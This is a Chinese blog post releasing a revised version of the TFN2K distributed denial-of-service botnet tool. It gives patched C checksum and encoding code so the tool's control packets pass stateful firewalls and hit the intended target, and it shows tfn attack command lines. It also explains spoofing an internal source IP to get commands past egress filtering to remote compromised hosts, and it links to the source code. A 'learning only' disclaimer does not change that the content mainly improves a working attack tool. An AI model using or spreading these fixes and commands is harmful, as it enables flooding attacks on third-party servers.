TFN2K 2016修订版发布(32/64位)

  • A+
所属分类:神兵利刃

前言:tfn2k发布的时间太早,最大一个缺陷就是flood数据包(TCP/UDP)因为校验和错误,远端被攻击的服务器会直接丢弃,在中国大陆有高人的优化(tfn2k优化作者:r0otk1tz)并对flood包的checksum做了修复,但没有修复控制指令包的错误,最近测试发现还有更大缺陷需要弥补。

主要缺陷:1)控制指令包无法穿透状态过滤的防火墙;2)无法在64位系统上运行;3)被攻击的远程服务器IP变成随机IP,本来要打扶桑树结果误打金乌。

为解决这些问题,我做了两个实验,配合防火墙规则和ps进程查看以及iptraf查看流量最终修订出更合适的tfn2k,感谢tfn2k的作者,感谢大陆高人提供的校验和代码。

该版本限制了攻击包频率,仅仅作为防火墙学习,TCP/UDP包构造学习用,搞破坏造成的任何危害由使用者本人承担。

 

A实验:使用原始tfn2k+r0ot1kz补丁在minifw(linux kernel 3.14)下编译得到32位的td /tfn.,在vmware中两个minifw(192.168.0.1运行tfn,192.168.0.11运行td)

 TFN2K 2016修订版发布(32/64位)

上图是主机192.168.0.11运行td作为受控端,并设置防火墙的input规则(3条),请注意重要的一条规则是拒绝INVALID包,只有合法的NEW,RELATED,ESTABLISHED包才能进入。

 TFN2K 2016修订版发布(32/64位)

上图是主机192.168.0.1 运行的是tfn 控制端程序,分别使用ICMP TCP两种包远程控制td端,控制成功了吗?从第一张防火墙图看出,192.168.0.11 一共接收到40个包,其中20个是ICMP包,20个TCP包,都是tfn发出的指令,但全部都被丢弃了。因此td没有反应!你没有告诉我干什么,凭什么要我去干活?结论:控制指令无法穿透防火墙。

于是我在192.168.0.11主机的防火墙规则修订一下,iptables –I INPUT –jACCEPT,也就是接收一切包,管他是好包烂包,终于td接收到指令发动攻击,攻击效果图如下。

  TFN2K 2016修订版发布(32/64位)

问题到底在什么地方呢?猜中了结果,但过程却艰辛。我花了两个周时间来抓包调试,得出结论:

tfn 发送给td的指令,在tribe.c 中包含有发送程序,一直追踪到aes.c对指令加密,发现有两个bug:

1)还是校验和问题

tfn发送给td的指令一直都是INVALID状态,我修改了ip.c ,重点是htons(),如果不用htons(),我测试好多次都是INVALID数据。

unsigned short

ip_sum (addr, len)

      unsigned short *addr;

      int len;

{

   int nleft = len;

   unsigned short *w = addr;

   int sum = 0;

   unsigned short answer = 0;

 

   while (nleft > 1)

     {

 

      printf("%x--",ntohs(*w));

       sum += ntohs(*w++);

       nleft -= 2;

     }

   if (nleft == 1)

     {

       *(unsigned char *)(&answer) = *(unsigned char *) w;

       sum += answer;

       printf("oh,I found onebyte(%x)--",answer);

     }

   sum = (sum >> 16) + (sum& 0xffff);

 

   sum += (sum >> 16); 

   answer = ~sum; 

   printf("chsum is%x--over\n",htons(answer));

   return (htons(answer)); 

   /* modified [email protected],minifw.luohuedu.net */

}

unsigned int

ip_sum2 (addr, len)

      unsigned short *addr;

      int len;

{

   int nleft = len;

   unsigned short *w = addr;

   int sum = 0;

   unsigned short answer = 0;

 

   while (nleft > 1)

     {

 

      printf("%x--",ntohs(*w));

       sum += ntohs(*w++);

       nleft -= 2;

     }

   if (nleft == 1)

     {

       *(unsigned char *)(&answer) = *(unsigned char *) w;

       sum += answer;

       printf("oh,I found onebyte(%x)--",answer);

     }

  /* modified [email protected],minifw.luohuedu.net */

  printf("sum is %x,len is%d\n",sum,len);

 return(sum);

}

由于tfn发送给td的指令包长度可能为奇数,因此我用ip_sum2做tcp/udp校验和

2)  aes.cencode64函数问题:

if (len>16) 

    base64_in (inbuf, (char *)outbuf, (len + 16));

 else

  base64_in (inbuf, (char *) outbuf,(len + 15));

  /*    modify by [email protected],minifw.luohuedu.net  */

源代码就是+16,实际上两组实验如下:

tfn –P ICMP –f a.txt –i 219.13.276.15 –p 80 –c 5 

tfn –P ICMP –f a.txt –i 219.13.276.115 –p 80 –c 5

上面两个不同的攻击IP,如果是第一条,len=16(+f+219.13.276.15),必须加15(少于16也可)不然被攻击的IP居然变成了随机IP;如果是第二条,len=17(+f+219.133.276.115),则加16(如果小于16,被攻击IP也变成随机IP),修改后就不会乱开机枪。

 

B实验:

使用原始tfn2k2016修改版本在minifw(linux kernel 3.14)下编译得到32位的td /tfn.vmware中两个minifw(192.168.0.1运行tfn作为控制端,192.168.0.11运行td为受控

  TFN2K 2016修订版发布(32/64位)

上图是192.168.0.1 运行最新的tfn2发出指令控制192.168.0.11

 TFN2K 2016修订版发布(32/64位)

上图是192.168.0.1运行tfn2后截图显示最后两个包的IP头以及TCP校验和构造过程(在winxp下安装vmware,xp运行wireshark可以抓到这些包)。

Packet11内的数据是27个字节,packet22内的数据是46个字节。该图是用ip_sum2printf.

 TFN2K 2016修订版发布(32/64位)

上图是192.168.0.11(td运行)防火墙的状态显示,终于有192.168.0.1过来的包并且状态为NEW,合法!被192.168.0.11的td2接收!

分析:Tfn2发送的指令,192.168.0.11是否成功接收到呢?见INPUT规则,60个无效包,但也有60个有效包,只要有一个有效,就可以远程控制成功。为什么在XP下安装VMWARE呢?在VMWARE内的好处是数据干扰非常少方便分析,eth0网卡得到的包唯一来自于192.168.0.1!很明显TFN2发送的指令有部分数据匹配了NEW状态,于是成功了。我本人严重怀疑奇数包长度的指令是INVALID被丢弃.

最后的测试:在64BT以及64lfs下编译运行td64,并且使用INVALID严格丢弃无效包,使用192.168.0.11远程控制,成功驱动BT去当祸害,别担心老虎的锋利牙齿被限制。

 

自我表扬:tfn可以作为一个经典的包构造参考学习工具。

 

过去一直对校验和没有搞明白,只会使用现成的代码做校验和,终于下决心彻底学一下,于是仿制了ip_sum2,将构造的包打印出来并与wireshark做对比,对于初学数据包构造非常合适,只要有一个tfn命令和wireshark就OK,不需要TD也可以学习啊(下面的截图是在tfn发出包后的最后两个包的构造显示,对tcp头,数据部分,伪tcp头的数据按照16位显示出来,两个包可以对照wireshare抓包一一比较每个字节)

 TFN2K 2016修订版发布(32/64位)

  TFN2K 2016修订版发布(32/64位)

Wireshark抓包与pack11做对比分析TCP校验和,什么是伪tcp头见百度,我简单说一下:pthdr一共12个字节,包含源IP和目标IP,以及协议号(TCP6),以及TCP部分的长度(TCP头长度+TCP包的数据长度)

以上图说明:源地址6.162.21.164(06a215a4),目标IP192.168.0.11(c0a8000b),协议TCP=6TCP长度=tcp(20)+tcp数据长度(27)=47=0x2f,tcp的数据就是06a2-15a4-c0a8-000b-00006-0002f.

tcp的校验和由两部分数据6afb0+  dd2e ,计算就可以得到真正的checksum.=731a

------------------------------------------------------------------------------------------------------

 TFN2K 2016修订版发布(32/64位)

Wireshark抓包与pack22比分析TCP校验和。

 

问题:内网测试tfn2k,发送的控制指令被单位的防火墙直接封锁了,看着远方肥肥的肉鸡却无法控制!

解答:目前部分防火墙采用了一个规则,就是内网对外访问限制了源IP,而tfn控制指令包的源IP是任意的,显然控制指令无法穿透防火墙。解决简单,假如内网的IP段10.3.122.0/24.

 

Tfn –P ICMP –f  a.txt –i 219.233.155.7 –p 80 –c 5     出不去是吧?

Tfn –P ICMP –f  a.txt -S  10.3.122.5  –i 219.233.155.7 –p 80 –c 5  指令包的源IP是10.3.122.5合法,成功!如果有问题tfn /.? 自己琢磨一下。

 如果不想自己编译直接学习包构造,minifw.luohuedu.net 或者sourceforge下载minifw5.0-3运行tfn即可;如果想自己玩就去sourceforge下载tfn2k2016-source.tgz.

By  Wuhuashan https://sourceforge.net/projects/minifirewall/

From:http://blog.csdn.net/wu_huashan/article/details/50480836

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: